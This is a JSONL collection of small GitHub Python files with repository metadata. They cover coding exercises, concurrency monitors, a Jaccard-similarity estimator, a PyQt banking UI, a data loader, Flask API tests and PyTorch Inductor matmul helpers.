{"seq_id":"44935078903","text":"import common as cm\n\ndef delete_node(head, key):\n    if head == None:\n        return head\n    prev = None\n    cur = head\n    while cur.next != None:\n        if key == cur.val:\n            if prev == None:\n                cur_next = cur.next\n                cur.next = None\n                cur = cur_next      # 2. \n                head = cur          # 1. purpose \n            else:\n                prev.next = cur.next\n                prev = cur\n                curr = cur.next\n        else:\n            prev = cur\n            cur = cur.next\n            \n    return head\ndef main():\n    li = [2, 3, 5, 99, 6,8, 9]\n    llact = cm.ll_action()\n    a = llact.create_list_ll(li)\n    llact.show(a)\n    print(\"\\n\")\n    key = 2\n    b = delete_node(a,key)\n    llact.show(b)\n\nif __name__ == \"__main__\":\n    main()\n\n    \n","repo_name":"zdadadaz/reborn_path","sub_path":"Delete_node_with_key.py","file_name":"Delete_node_with_key.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28980333697","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 10 10:18:50 2022\n\n@author: mat\n\"\"\"\nfrom multiprocessing import Process\nfrom multiprocessing import Condition, Lock\nfrom multiprocessing import Value\nfrom multiprocessing import current_process\nimport time, random\n\nclass Table():\n    def __init__(self, nphil, manager):\n        self.phil = manager.list( [False]*nphil)\n        self.eating = Value('i',0)\n        self.actual = None\n   \n        self.mutex = Lock()\n        self.freefork = Condition(self.mutex)\n        \n    def set_current_phil(self,i):\n        self.actual = i\n        \n    def vecinos_libres(self):\n        i = self.actual\n        return not(self.phil[(i+1)%len(self.phil)]) and not(self.phil[(i-1)%(len(self.phil))])\n        \n    def wants_eat(self, i):\n        self.mutex.acquire()\n        self.freefork.wait_for(self.vecinos_libres)\n        #print(self.actual,i)\n        self.phil[i]=True\n        self.eating.value +=1\n        self.mutex.release()\n        \n    def wants_think(self,i):\n        self.mutex.acquire()\n        self.phil[i] = False\n        self.eating.value -=1\n        self.freefork.notify()\n        self.mutex.release()\n        \n        \n        \nclass CheatMonitor():\n    \n    def __init__(self):\n        self.eating = Value('i',0)\n        self.mutex = Lock()\n        self.checkingFriend = Condition(self.mutex)\n        \n    def is_eating(self,n):\n        self.mutex.acquire()\n        self.eating.value += 1\n        self.checkingFriend.notify()\n        self.mutex.release()\n        \n    def readyToThink(self):\n        return self.eating.value == 2\n    \n    def wants_think(self,n):\n        self.mutex.acquire()\n        self.checkingFriend.wait_for(self.readyToThink)\n        self.eating.value -= 1\n        self.mutex.release()","repo_name":"pablal05/Philosofers","sub_path":"monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2846440411","text":"#!/usr/bin/python3\n\nimport sys, re\n\nstart, end = map(int, re.findall(r'\\d+', sys.stdin.read()))\n\n# Brute force ahoy\n\ndef match(n, day=1):\n    digits = [int(d) for d in str(n)]\n    i=0\n    for d in digits:\n        if d < i:\n            return False\n        i = d\n    repeats = [xx for xx, x in re.findall(r'((\\d)\\2+)', str(n))]\n    if day == 1:\n        return len(repeats) > 0\n    return any(len(xx) == 2 for xx in repeats)\n\ndef solncount(day):\n    return sum(1 for x in range(start, end+1)\n               if match(x, day=day))\n\nprint(solncount(1))\nprint(solncount(2))\n","repo_name":"acarapetis/advent-of-code-2019","sub_path":"day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30021942136","text":"# encoding: utf-8\n\"\"\"\n@author: Dianlei Zhang\n@contact: dianlei.zhang@qq.com\n\n@time: 2018/9/21 08:19\n@python version: \n\n\"\"\"\nimport json\n\n\nclass Solution:\n    def maxArea(self, height):\n        \"\"\"\n        :type height: List[int]\n        :rtype: int\n        \"\"\"\n        height = [1, 8, 6, 2, 5, 4, 8, 3, 7]\n\n        max = 0\n        temp_y = 0\n        for i in range(len(height)-1):\n\n            if height[i] <= temp_y:\n                continue\n            else:\n                temp_y = height[i]\n\n            for j in range(i+1, len(height)):\n                x = j - i\n\n                y = height[i]\n                if height[j] < height[i]:\n                    y = height[j]\n                temp = x * y\n                if temp > max:\n                    max = temp\n\n        return max\n\n\ndef stringToIntegerList(input):\n    return json.loads(input)\n\n\ndef main():\n    import sys\n    import io\n    def readlines():\n        for line in io.TextIOWrapper(sys.stdin.buffer, encoding='utf-8'):\n            yield line.strip('\\n')\n\n    lines = readlines()\n    while True:\n        try:\n            line = next(lines)\n            height = stringToIntegerList(line);\n\n            ret = Solution().maxArea(height)\n\n            out = str(ret);\n            print(out)\n        except StopIteration:\n            break\n\n\nif __name__ == '__main__':\n    main()\n\n","repo_name":"zhangdianlei/LeetCode_python","sub_path":"src/part1/c11_timeout.py","file_name":"c11_timeout.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16669309293","text":"from common import message as m\ndef name_to_script(name):\n    try:\n        import os\n        import pandas as pd\n        import re\n        try:\n            a = pd.read_csv('NSE_CM.csv')\n            #print(\"current working directory......\",os.getcwd())\n           # print(a)\n        except:\n            os.system('curl -0 https://public.fyers.in/sym_details/NSE_CM.csv')\n            #print(\"exception 1......................\")\n        finally:\n            try:\n                a = pd.read_csv('NSE_CM.csv')\n                #print(\"finally1....\")\n            except:\n                os.system('curl -0 https://public.fyers.in/sym_details/NSE_CM.csv')\n                a = pd.read_csv('NSE_CM.csv')\n                \n        try:\n            #print(\"before dd values......\")\n            dd=sorted(a[a['NSE:ABAN-EQ'].str.contains(name, flags=re.IGNORECASE)]['NSE:AMARAJABAT-EQ'].to_numpy())[0]\n           \n        except:\n            try:\n                #print(\"dd2 values..\")\n                dd=sorted(a[a['ABAN OFFSHORE LTD.'].str.contains(name, flags=re.IGNORECASE)]['NSE:ABAN-EQ'].to_numpy())[0]\n                \n            except:\n                #print(\"dd3 values....vv values\")\n                vv = a[a['INE421A01028'].notna()]\n                dd = vv[vv['INE421A01028'].str.contains(name, flags=re.IGNORECASE)]['NSE:ABAN-EQ'].to_numpy()[0]\n                \n    except Exception as error :\n        m.message(f'Either the stock name is wrong or error while downloading data from fyers website \\n{error}')\n    try:\n        return dd\n    except Exception as error:\n        m.message(f\"can't find the given stock name {error}\")\n    return False\n","repo_name":"srikar-kodakandla/fully-automated-nifty-options-trading","sub_path":"fyers/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"35"}
{"seq_id":"36779708945","text":"import os\nimport sys\nimport json\nimport csv\nimport glob\nimport pprint\nimport numpy as np\nimport random\nimport argparse\nimport pandas as pd\nfrom tqdm import tqdm\nfrom .utils import DataProcessor\nfrom .utils import SemEvalSingleSentenceExample\nfrom transformers import (\n    AutoTokenizer\n)\n\n\nclass SemEvalDataProcessor(DataProcessor):\n    \"\"\"Processor for Sem-Eval 2020 Task 4 Dataset.\n    Args:\n        data_dir: string. Root directory for the dataset.\n        args: argparse class, may be optional.\n    \"\"\"\n\n    def __init__(self, data_dir=None, args=None, **kwargs):\n        \"\"\"Initialization.\"\"\"\n        self.args = args\n        self.data_dir = data_dir\n\n    def get_labels(self):\n        \"\"\"See base class.\"\"\"\n        return 2  # Binary.\n\n    def _read_data(self, data_dir=None, split=\"train\"):\n        \"\"\"Reads in data files to create the dataset.\"\"\"\n        if data_dir is None:\n            data_dir = self.data_dir\n        my_dir = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))\n        examples = []\n       \n        path = my_dir + '/datasets/semeval_2020_task4/' + split + '.csv'\n\n        with open(path, newline = '\\n') as csvfile:\n            spamreader = csv.DictReader(csvfile)\n            guid = 0\n            for row in spamreader:\n                guid = guid\n                text_correct = row['Correct Statement']\n                text_incorrect = row['Incorrect Statement'] \n                right_reason1 = row['Right Reason1']\n                right_reason2 = row ['Right Reason2']\n                right_reason3 = row ['Right Reason3']\n                confusing_reason1 = row['Confusing Reason1']\n                confusing_reason2 = row['Confusing Reason2']\n                example_1 = SemEvalSingleSentenceExample(\n                        guid=guid,\n                        text = text_correct,\n                        label=1,\n                        right_reason1 = right_reason1,\n                        right_reason2 = right_reason2,\n                        right_reason3 = right_reason3,\n                        confusing_reason1 = confusing_reason1,\n                        confusing_reason2 = confusing_reason2\n                )\n\n                example_2 = SemEvalSingleSentenceExample(\n                        guid=guid,\n                        text = text_incorrect,\n                        label=0,\n                        right_reason1 = right_reason1,\n                        right_reason2 = right_reason2,\n                        right_reason3 = right_reason3,\n                        confusing_reason1 = confusing_reason1,\n                        confusing_reason2 = confusing_reason2      \n                )\n\t   \n                examples.append(example_1)\n                examples.append(example_2)\n               \n        return examples\n\n    def get_train_examples(self, data_dir=None):\n        \"\"\"See base class.\"\"\"\n        return self._read_data(data_dir=data_dir, split=\"train\")\n\n    def get_dev_examples(self, data_dir=None):\n        \"\"\"See base class.\"\"\"\n        return self._read_data(data_dir=data_dir, split=\"dev\")\n\n    def get_test_examples(self, data_dir=None):\n        \"\"\"See base class.\"\"\"\n        return self._read_data(data_dir=data_dir, split=\"test\")\n\n\nif __name__ == \"__main__\":\n\n    # Test loading data.\n    proc = SemEvalDataProcessor(data_dir=\"datasets/semeval_2020_task4\")\n    train_examples = proc.get_train_examples()\n    val_examples = proc.get_dev_examples()\n    test_examples = proc.get_test_examples()\n    print()\n    for i in range(3):\n        print(test_examples[i])\n    print()\n","repo_name":"IanConceicao/Com2Sense-Challenge","sub_path":"data_processing/semeval_data.py","file_name":"semeval_data.py","file_ext":"py","file_size_in_byte":3557,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"23606504559","text":"import requests\nfrom concurrent.futures import ThreadPoolExecutor\n\n\ndef req():\n    print(\" req  start\")\n    r = requests.get(\"http://localhost:5000/api/lip/?file_path=/root&speechtext=4211\")\n    print(r.text)\n\n\nwith ThreadPoolExecutor(8) as executor:\n        for _ in range(8):\n            print(' submit req ')\n            executor.submit(req)\n","repo_name":"minesean/flask-celery-work","sub_path":"test/flask_test.py","file_name":"flask_test.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33998200607","text":"import random\nimport math\nimport argparse\nimport time\nimport sys\nimport mmh3\nimport numpy as np\nfrom heapq import heapify,heappop,heappush\nimport time\n\ntotalShingles = (1 << 32) - 1\n\ndef MaxLog(seed):\n    randomNoA = hash_parameter(k)\n    randomNoB = hash_parameter(k)\n\n    \n\n    \n    for item in stream:\n\n        #print(item)\n        #print(maxShingleID)\n        \n        if item [0] in maxShingleID.keys():\n            max_hash_val_list = maxShingleID[item[0]][0]\n            max_hash_sig_list = maxShingleID[item[0]][1]\n\n            #print(max_hash_val_list)\n            #print(max_hash_sig_list)\n            \n                        \n            # print max_hash_val_list\n            # print max_hash_sig_list\n            for x  in range(0, k):\n                temp = ((randomNoA[x] * mmh3.hash(str(item[1]),seed) + randomNoB[x]) % totalShingles)\n                temp = temp / float(totalShingles)\n\n                #print('Temp: ', temp)\n                \n                log_temp = - math.log(temp,2)\n                hash_val =  math.ceil(log_temp)\n\n                #print('Hash val: ' , hash_val)\n                \n                if hash_val > max_hash_val_list[x]:\n                   max_hash_val_list[x] = hash_val\n                   max_hash_sig_list[x] = 1\n                elif hash_val == max_hash_val_list[x]:\n                     max_hash_sig_list[x] = 0\n                     #maxShingleID [item[0]][0]= max_hash_val_list\n            #maxShingleID [item[0]][1]= max_hash_sig_list\n            ##\n        else:\n            max_hash_val_list = [-1] * k\n            max_hash_sig_list = [0] * k\n            max_hash_res_new = []\n            max_hash_res_new.append(max_hash_val_list)\n            max_hash_res_new.append(max_hash_sig_list)\n            maxShingleID[item[0]] = max_hash_res_new\n    return\n\n\ndef hash_parameter(k):\n    randList = []\n    randIndex = random.randint(0, totalShingles - 1)\n    randList.append(randIndex)\n    counter = 0\n    while k > 0:\n        #print('randlist: ', randList, 'counter: ', counter)\n        counter += 1\n        while randIndex in randList:\n              randIndex = random.randint(0, totalShingles - 1)\n              counter += 1\n        randList.append(randIndex)\n        k = k - 1\n\n    #print('Length of randList: ', len(randList))\n    return randList\n\ndef estimate():\n\n    #for i in range(k):\n        #print(maxShingleID['setA'][0][i], ':', maxShingleID['setA'][1][i])\n    \n    con = 0\n    for x in range(0, k):\n       if (maxShingleID['setA'][0][x] > maxShingleID['setB'][0][x] and  maxShingleID['setA'][1][x] ==1 ):\n            con = con + 1\n       elif (maxShingleID['setA'][0][x] < maxShingleID['setB'][0][x] and  maxShingleID['setB'][1][x] ==1 ):\n            con = con + 1\n    # print con\n    num = float(k)\n    # print num\n    jaccard_sim = 1.0 - con*(1/num)*(1/0.7213)\n    #print('con: ', con)\n    return jaccard_sim\n\n\ndef generate_stream(stream, cardinality):\n\n    setA = []\n    setB = []\n    \n    total_num = cardinality * 2\n    the_same_index = total_num / 2 * sim\n    setA_uni_index = total_num / 2 * 1\n    setB_uni_index = total_num / 2 * (2 - sim)\n    #synthetic data\n    for num in range(total_num):\n        if num <= the_same_index:\n            stream.append(['setA', num])\n            stream.append(['setB', num])\n            setA.append(num)\n            setB.append(num)\n        elif num <= setA_uni_index:\n            stream.append(['setA', num])\n            setA.append(num)\n        elif num <= setB_uni_index:\n            stream.append(['setB', num])\n            setB.append(num)\n        else:\n            break\n\n    return setA, setB\n\ndef read_file_into_stream(filename):\n\n    data = open(filename, 'r')\n    lines = data.readlines()\n    records = []\n    \n    for item in lines:\n        records.append(item.split(','))\n\n    uid = -1\n    for item in records:\n        uid += 1\n        uname = 'u' + str(uid)\n        for element in item:\n            #print('uid: ', uid, 'element: ', element)\n            stream.append([element, uname])\n\n\ndef write_stream(setA, setB, cardinality):\n\n    filer = open(str(cardinality)+'.txt', 'w+')\n\n    filer.write(str(cardinality))\n    filer.write('\\n')\n\n    for i in range(cardinality):\n        filer.write(str(setA[i]))\n        filer.write(' ')\n        filer.write(str(setB[i]))\n        filer.write('\\n')\n\ndef read_generated_into_stream(filename, stream):\n\n    filer = open(filename, 'r')\n    lines = filer.readlines()\n\n    i = 0\n\n    for item in lines:\n        if(i != 0):\n            item = item[0:item.find('\\n')]\n            value = item.split(\" \")\n            stream.append(['setA', int(value[0])])\n            stream.append(['setB', int(value[1])])\n        i = i+1\n    \n    \n    \n\nif __name__ == '__main__':\n    random_seed = 1\n    card = 100000\n    jaccard_true = 0.9\n    k = int(1024)\n    total_num = card * 2\n    sim = (2 * jaccard_true) / (1 + jaccard_true)\n    mod = sys.argv[1]\n\n    maxShingleID = {}\n        \n    stream = []\n\n    if(mod == 'genstream'):\n        cardinality = int(sys.argv[2])\n        setA, setB = generate_stream(stream, cardinality)\n        write_stream(setA, setB, cardinality)\n\n    elif(mod == 'readstream'):\n        filename = sys.argv[2]\n        read_generated_into_stream(filename, stream)\n\n    else:\n        print('Wtf')\n\n\n    mltimes = time.time()\n    MaxLog(random_seed)\n    mltimef = time.time()\n    jtimes = time.time()\n    jaccard_est = estimate()\n    jtimef = time.time()\n    #print('Len Stream: ', len(stream))\n    #print('setA: ', setA)\n    #print('setB', setB)\n    print(jaccard_true, jaccard_est)\n    mltime = mltimef - mltimes\n    jtime = jtimef - jtimes\n    print('Max Log Time: ', mltime)\n    print('Jaccard Time: ', jtime)\n    print('Total:', mltime + jtime)\n\n\n\n","repo_name":"FatihTasyaran/ParallelMaxLogHash","sub_path":"MaxLogHash.py","file_name":"MaxLogHash.py","file_ext":"py","file_size_in_byte":5718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17568657109","text":"import pytest\nfrom flask import url_for\nimport json\nfrom searchApi.blueprints import mockdata\n\n# print(mockdata.mockDataKittens)\n# print(mockdata.mockDataCats)\n# print(mockdata.mockDataCars)\n\n\nclass TestApiDDG(object):\n    def test_ddg_api(self, client, live):\n        \"\"\"ddg api should respond with a success 200.\"\"\"\n        response = client.get(url_for(\"api.ddgApi\"))\n        assert response.status_code == 200\n\n\n# --- DDG API testing\n@pytest.mark.parametrize(\n    (\"query\", \"message\"),\n    (\n        (\"cats\", b'{\"message\": \"ERROR: not yet supported\"}'),\n        (\"cars\", b'{\"message\": \"ERROR: not yet supported\"}'),\n        (\"kittens\", b'{\"message\": \"ERROR: not yet supported\"}'),\n    ),\n)\ndef test_ddg_api_live(client, query, message, live):\n    response = client.get(\"/api/ddg?q=\" + query)\n    assert message in response.data\n\n\n@pytest.mark.parametrize(\n    (\"query\", \"message\"),\n    (\n        (\"cats\", b'{\"message\": \"ERROR: not yet supported\"}'),\n        (\"cars\", b'{\"message\": \"ERROR: not yet supported\"}'),\n        (\"kittens\", b'{\"message\": \"ERROR: not yet supported\"}'),\n    ),\n)\ndef test_ddg_api_mock(client, query, message, mock):\n    response = client.get(\"/api/ddg?q=\" + query + \"&mock=1\")\n    assert message in response.data\n","repo_name":"mkobar/flaskApi","sub_path":"searchApi/tests/api/test_api_ddg.py","file_name":"test_api_ddg.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"19696291092","text":"import sys\nfrom PyQt5 import QtWidgets\nfrom PyQt5.QtWidgets import QTableWidgetItem\n\nfrom ui_graph_des import Ui_MainWindow\nfrom ui_interface import *\n#from db_interface import *\n#import bl_money\n\n\nclass MyWin(QtWidgets.QMainWindow):\n    db = None\n    current_account = -1\n\n    def __init__(self, db_init):\n        QtWidgets.QWidget.__init__(self)\n        self.db = db_init\n        self.ui = Ui_MainWindow()\n        self.ui.setupUi(self)\n\n        self.update_table()\n\n        self.ui.tableWidget.cellClicked.connect(self.cell_clicked)\n\n        self.ui.buttonBox.accepted.connect(self.save_new_acc)\n        self.ui.buttonBox_2.accepted.connect(self.change_owner)\n        self.ui.buttonBox_3.accepted.connect(self.pop_money)\n        self.ui.buttonBox_4.accepted.connect(self.push_money)\n        self.ui.buttonBox_5.accepted.connect(self.charge_procent)\n\n        self.ui.buttonBox.rejected.connect(self.reject_changes)\n        self.ui.buttonBox_2.rejected.connect(self.reject_changes)\n        self.ui.buttonBox_3.rejected.connect(self.reject_changes)\n        self.ui.buttonBox_4.rejected.connect(self.reject_changes)\n        self.ui.buttonBox_5.rejected.connect(self.reject_changes)\n\n    def reject_changes(self):\n        self.ui.lineEdit_11.clear()\n        self.ui.lineEdit_12.clear()\n        self.ui.lineEdit_9.clear()\n        self.ui.lineEdit_7.clear()\n        self.ui.lineEdit_5.clear()\n        self.ui.lineEdit_1.clear()\n        self.ui.lineEdit_2.clear()\n        self.ui.lineEdit_3.clear()\n        self.ui.lineEdit_4.clear()\n\n    def str_to_money(self,str):\n        return Money(1, 0, 0)\n\n    def save_new_acc(self):\n        print(\"save new account\")\n        add_account(self.db, Account(\n            self.ui.lineEdit_1.text(),\n            str(get_uniq_acc_num()),\n            self.str_to_money(self.ui.lineEdit_4.text()),\n            float(self.ui.lineEdit_3.text()),\n        ))\n        self.update_table()\n        self.ui.tableWidget.selectRow(self.db.length()-1)\n        self.cell_clicked(self.db.length()-1)\n\n\n    def change_owner(self):\n        print(\"change owner\")\n        rename_owner(self.db, self.current_account, self.ui.lineEdit_6.text())\n        self.update_table()\n\n    def pop_money(self):\n        print(\"pop money\")\n        try:\n            rub = int(float(self.ui.lineEdit_8.text()))\n            kop = int(100*float(self.ui.lineEdit_8.text())-100*rub)\n            pop_money(self.db, self.current_account, Money(1, rub, kop))\n        except ValueError:\n            print(\"wrong input\")\n        self.update_table()\n\n    def push_money(self):\n        print(\"push money\")\n        try:\n            rub = int(float(self.ui.lineEdit_10.text()))\n            kop = int(100*float(self.ui.lineEdit_10.text())-100*rub)\n            push_money(self.db, self.current_account, Money(1, rub, kop))\n        except ValueError:\n            print(\"wrong input\")\n        self.update_table()\n\n    def charge_procent(self):\n        print(\"charge procent\")\n        try:\n            days = int(self.ui.lineEdit_13.text())\n            charge_percent(self.db, self.current_account, days)\n        except ValueError:\n            print(\"wrong input\")\n        self.update_table()\n\n    def update_table(self):\n        self.ui.tableWidget.setRowCount(self.db.length())\n        i = 0\n        while i < self.db.length():\n            self.ui.tableWidget.setItem(i, 0, QTableWidgetItem(str(self.db.get_acc(i).get_surname())))\n            self.ui.tableWidget.setItem(i, 1, QTableWidgetItem(str(self.db.get_acc(i).get_num())))\n            self.ui.tableWidget.setItem(i, 2, QTableWidgetItem(str(self.db.get_acc(i).get_percent())))\n            self.ui.tableWidget.setItem(i, 3, QTableWidgetItem(str(self.db.get_acc(i).get_sum())))\n            i += 1\n\n    def cell_clicked(self, row):\n        self.current_account = row\n        self.ui.lineEdit_11.setText(str(self.db.get_acc(row).get_surname()))\n        self.ui.lineEdit_12.setText(str(self.db.get_acc(row).get_percent()))\n        self.ui.lineEdit_9.setText(str(self.db.get_acc(row).get_sum()))\n        self.ui.lineEdit_7.setText(str(self.db.get_acc(row).get_sum()))\n        self.ui.lineEdit_5.setText(str(self.db.get_acc(row).get_surname()))\n        self.ui.lineEdit_1.setText(str(self.db.get_acc(row).get_surname()))\n        self.ui.lineEdit_2.setText(str(self.db.get_acc(row).get_num()))\n        self.ui.lineEdit_3.setText(str(self.db.get_acc(row).get_percent()))\n        self.ui.lineEdit_4.setText(str(self.db.get_acc(row).get_sum()))\n\n\nclass GraphUI(UI_interface):\n    # db = link to database\n    def __init__(self, db):\n        super().__init__(db)\n\n    def start(self):\n        app = QtWidgets.QApplication(sys.argv)\n        myapp = MyWin(self.db)\n        myapp.show()\n        sys.exit(app.exec_())\n","repo_name":"dimkuz/LabaPy001","sub_path":"ui_graph.py","file_name":"ui_graph.py","file_ext":"py","file_size_in_byte":4734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2609518656","text":"#!/usr/bin/python\nimport datetime\n\nclass DayNightStatus:        # define parent class\n\n    def __init__(self):\n       self.checkStatus()\n\n    def checkStatus(self):\n        ts = datetime.datetime.now()\n        # Convert the timestamps into Date Objects\n        if ts.hour in range(6, 18):\n            self.status = 0\n        else:\n            self.status = 1\n\n        return self\n","repo_name":"jearly/serial-port-relay","sub_path":"relay-control/controls/time_of_day.py","file_name":"time_of_day.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17926900431","text":"import pygame\r\nfrom pygame.locals import *\r\n\r\npygame.init() # launch pygame modules (sort of like constructor)\r\n\r\nscreen = pygame.display.set_mode((150, 150))\r\n\r\nthe_log = open(\"Logger\" , \"w\")\r\n\r\nkeymod = 0\r\nwhile True:\r\n    for event in pygame.event.get():\r\n        if event.type == KEYDOWN:\r\n            print(event.key)\r\n            if event.key == 56:\r\n                the_log.close()\r\n                pygame.quit()\r\n            elif event.key == 13:\r\n                the_log.write(\"\\n\")\r\n            elif event.key == 9:\r\n                the_log.write(\"\\t\")\r\n            elif event.key == 304 or event.key == 303:\r\n                keymod = 32\r\n            elif event.key < 255:\r\n                the_log.write(chr(event.key - keymod))\r\n        elif event.type == KEYUP:\r\n            if event.key == 304 or event.key == 303:\r\n                keymod = 0","repo_name":"FrostyZz/MWHS_Python","sub_path":"Programs/Logger/Logger.py","file_name":"Logger.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"42423907409","text":"## https://leetcode.com/problems/merge-k-sorted-lists/\n\nfrom typing import List, Optional\n\n# Definition for singly-linked list.\nclass ListNode:\n    def __init__(self, val=0, next=None):\n        self.val = val\n        self.next = next\n\nclass Solution:\n    def mergeKLists(self, lists: List[Optional[ListNode]]) -> Optional[ListNode]:\n        val_list = []\n        for head in lists:\n            while head:\n                val_list.append(head.val)\n                head = head.next\n        if not val_list:\n            return None\n        val_list.sort()\n        # print(val_list)\n        head = tail = ListNode(val_list[0], None)\n        for val in val_list[1:]:\n            tail.next = ListNode(val, None)\n            tail = tail.next\n        return head\n        ","repo_name":"2022-algorithm-study-group/problem-solving","sub_path":"10week/홍준/1.merge-k-sorted-lists.py","file_name":"1.merge-k-sorted-lists.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74587032419","text":"import functools\nimport logging\nfrom typing import List, Tuple\n\nimport sympy\n\nimport torch\nfrom torch._inductor.select_algorithm import realize_inputs\nfrom torch._inductor.virtualized import V\nfrom ..utils import ceildiv as cdiv, next_power_of_2\n\nlog = logging.getLogger(__name__)\n\n\ndef triton_config(num_stages, num_warps, **kwargs):\n    from triton import Config\n\n    return Config(kwargs, num_stages=num_stages, num_warps=num_warps)\n\n\ndef filtered_configs(\n    m: int, n: int, k: int, configs: List[Tuple[int, int, int, int, int]]\n):\n    \"\"\"Heuristic to shrink configs when they are bigger than the input size\"\"\"\n    m = max(next_power_of_2(V.graph.sizevars.size_hint(m)), 16)\n    n = max(next_power_of_2(V.graph.sizevars.size_hint(n)), 16)\n    k = max(next_power_of_2(V.graph.sizevars.size_hint(k)), 16)\n    used = set()\n    for block_m, block_n, block_k, num_stages, num_warps in configs:\n        # shrink configs for small sizes\n        block_m = min(block_m, m)\n        block_n = min(block_n, n)\n        block_k = min(block_k, k)\n        # each warp computes 16x16 tile = 256\n        num_warps = min(num_warps, block_m * block_n // 256)\n        if (block_m, block_n, block_k, num_stages, num_warps) not in used:\n            used.add((block_m, block_n, block_k, num_stages, num_warps))\n            yield triton_config(\n                BLOCK_M=block_m,\n                BLOCK_N=block_n,\n                BLOCK_K=block_k,\n                num_stages=num_stages,\n                num_warps=num_warps,\n            )\n\n\nmm_configs = functools.partial(\n    filtered_configs,\n    configs=(\n        # \"BLOCK_M\", \"BLOCK_N\", \"BLOCK_K\", \"num_stages\", \"num_warps\"\n        (64, 64, 32, 2, 4),\n        (64, 128, 32, 3, 4),\n        (128, 64, 32, 3, 4),\n        (64, 128, 32, 4, 8),\n        (128, 64, 32, 4, 8),\n        (64, 32, 32, 5, 8),\n        (32, 64, 32, 5, 8),\n        (128, 128, 32, 2, 8),\n        (64, 64, 64, 3, 8),\n        (32, 32, 128, 2, 4),\n        (64, 64, 16, 2, 4),\n        (32, 32, 16, 1, 2),\n    ),\n)\n\nint8_mm_configs = functools.partial(\n    filtered_configs,\n    configs=(\n        # \"BLOCK_M\", \"BLOCK_N\", \"BLOCK_K\", \"num_stages\", \"num_warps\"\n        (64, 64, 32, 2, 4),\n        (64, 128, 32, 3, 4),\n        (128, 64, 32, 3, 4),\n        (64, 128, 32, 4, 8),\n        (128, 64, 32, 4, 8),\n        (64, 32, 32, 5, 8),\n        (32, 64, 32, 5, 8),\n        (128, 128, 32, 2, 8),\n        (64, 64, 64, 3, 8),\n        # (32, 32, 128, 2, 4),\n        # (64, 64, 16, 2, 4),\n        # (32, 32, 16, 1, 2),\n        (128, 256, 128, 3, 8),\n        (256, 128, 128, 3, 8),\n    ),\n)\n\n\ndef mm_grid(m, n, meta):\n    \"\"\"\n    The CUDA grid size for matmul triton templates.\n    \"\"\"\n    return (cdiv(m, meta[\"BLOCK_M\"]) * cdiv(n, meta[\"BLOCK_N\"]), 1, 1)\n\n\ndef acc_type(dtype):\n    if dtype in (torch.float16, torch.bfloat16):\n        return \"tl.float32\"\n    return f\"tl.{dtype}\".replace(\"torch.\", \"\")\n\n\ndef mm_options(config, sym_k, layout):\n    \"\"\"\n    Common options to matmul triton templates.\n    \"\"\"\n    even_k_symbolic = (\n        # it isn't worth guarding on this\n        sympy.gcd(sym_k, config.kwargs[\"BLOCK_K\"])\n        == config.kwargs[\"BLOCK_K\"]\n    )\n    return dict(\n        GROUP_M=8,\n        EVEN_K=even_k_symbolic,\n        ALLOW_TF32=torch.backends.cuda.matmul.allow_tf32,\n        ACC_TYPE=acc_type(layout.dtype),\n        num_stages=config.num_stages,\n        num_warps=config.num_warps,\n        **config.kwargs,\n    )\n\n\ndef mm_args(mat1, mat2, *others, layout=None, out_dtype=None):\n    \"\"\"\n    Common arg processing for mm,bmm,addmm,etc\n    \"\"\"\n    mat1, mat2 = realize_inputs(mat1, mat2)\n    *b1, m, k1 = mat1.get_size()\n    *b2, k2, n = mat2.get_size()\n    b = [V.graph.sizevars.guard_equals(a, b) for a, b in zip(b1, b2)]\n    k = V.graph.sizevars.guard_equals(k1, k2)\n    if layout is None:\n        from torch._inductor.ir import FixedLayout\n\n        if out_dtype is None:\n            out_dtype = mat1.get_dtype()\n        layout = FixedLayout(\n            mat1.get_device(),\n            out_dtype,\n            [*b, m, n],\n        )\n    else:\n        assert out_dtype is None, \"out_dtype is ignored if layout is specified.\"\n\n    from ..lowering import expand\n\n    others = [realize_inputs(expand(x, layout.size)) for x in others]\n\n    return [m, n, k, layout, mat1, mat2, *others]\n\n\ndef addmm_epilogue(dtype, alpha, beta):\n    def epilogue(acc, bias):\n        if alpha != 1:\n            acc = V.ops.mul(acc, V.ops.constant(alpha, dtype))\n        if beta != 1:\n            bias = V.ops.mul(bias, V.ops.constant(beta, dtype))\n        return V.ops.add(acc, bias)\n\n    return epilogue\n","repo_name":"ArtificialZeng/pytorch-explained","sub_path":"torch/_inductor/kernel/mm_common.py","file_name":"mm_common.py","file_ext":"py","file_size_in_byte":4582,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
